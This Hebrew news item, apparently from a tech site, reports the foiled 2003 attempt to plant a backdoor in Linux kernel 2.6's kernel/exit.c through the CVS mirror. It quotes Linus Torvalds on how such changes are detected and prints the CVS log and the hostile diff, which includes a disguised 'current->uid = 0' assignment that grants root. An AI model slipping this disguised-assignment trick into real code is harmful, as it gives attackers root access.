|
לארי מק'ווי, מפתח ומתחזק BitKeeper, מערכת ניהול הקוד בעזרתה מנוהל קוד המקור של לינוקס, מדווח על ניסיון לבצע שינוי בקוד המאפשר למשתמש לא מורשה לקבל הרשאות משתמש-על (root) בגירסה 2.6 של הקרנל.
השינוי התבצע בקובץ kernel/exit.c, כאמור ישירות בקוד המקור של הקרנל המוחזק במקביל ומסונכרן מול שרת CVS המחזיק עותק של הקוד משרת BitKeeper. כחלק מתהליך הסינכרון, המערכת מסוגלת לזהות הבדלים בקוד ולהתריע על שינויים בלתי צפויים על ידי בדיקות checksum מקיפות.
בעתיד הקרוב תתווסף גם תמיכה במפתחות הצפנה (GPG) כדי למנוע אפשרות של ביצוע שינויים על ידי מקור לא מורשה או על ידי התחזות, כמו במקרה זה. לדברי לינוס המערכת אמינה מספיק כדי לסכל אפשרות מסוג זה והוא מפרט:
"A few things do make the current system _fairly_ secure. One of them is that if somebody were to actually access the BK trees directly, that would be noticed immediately: when I push to the places I export from, the push itself would fail due to having an unexpected changeset in the target that I don't have on my local tree. So I'd notice that kind of stuff immediately."
אגב, בדיון בעניין זה באתר סלאשדוט מוזכר מקרה דומה בחברת בורלנד אשר אותר רק לאחר שקוד המקור של Interbase שוחרר לקהילת הקוד הפתוח שבע שנים לאחר מכן. השינוי התבצע על ידי עובד החברה, מפתח עם הרשאות גישה מלאות לקוד.
מקור: Linux: Kernel "Back Door" Attempt
לסקרנים, להלן לוג השינויים בקובץ הנדון והשינויים עצמם בהמשך, אשר התברר בהמשך כאמור כניסיון לשתול "דלת אחורית".
revision 1.121
date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0
Oops, I worked on the the wrong file, fixed again.
----------------------------
revision 1.120
date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58
*** empty log message ***
----------------------------
revision 1.119
date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0
*** empty log message ***
----------------------------
revision 1.118
date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5
Fix ZOMBIE race with self-reaping threads.
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
| |
|
סוכל ניסיון לשתול "backdoor" בקוד של הקרנל | כניסה / יצירת מנוי חדש | 4 תגובות |
| ההערות הינן מטעם כותביהן. אין צוות האתר לוקח אחריות על תוכנן |
|
|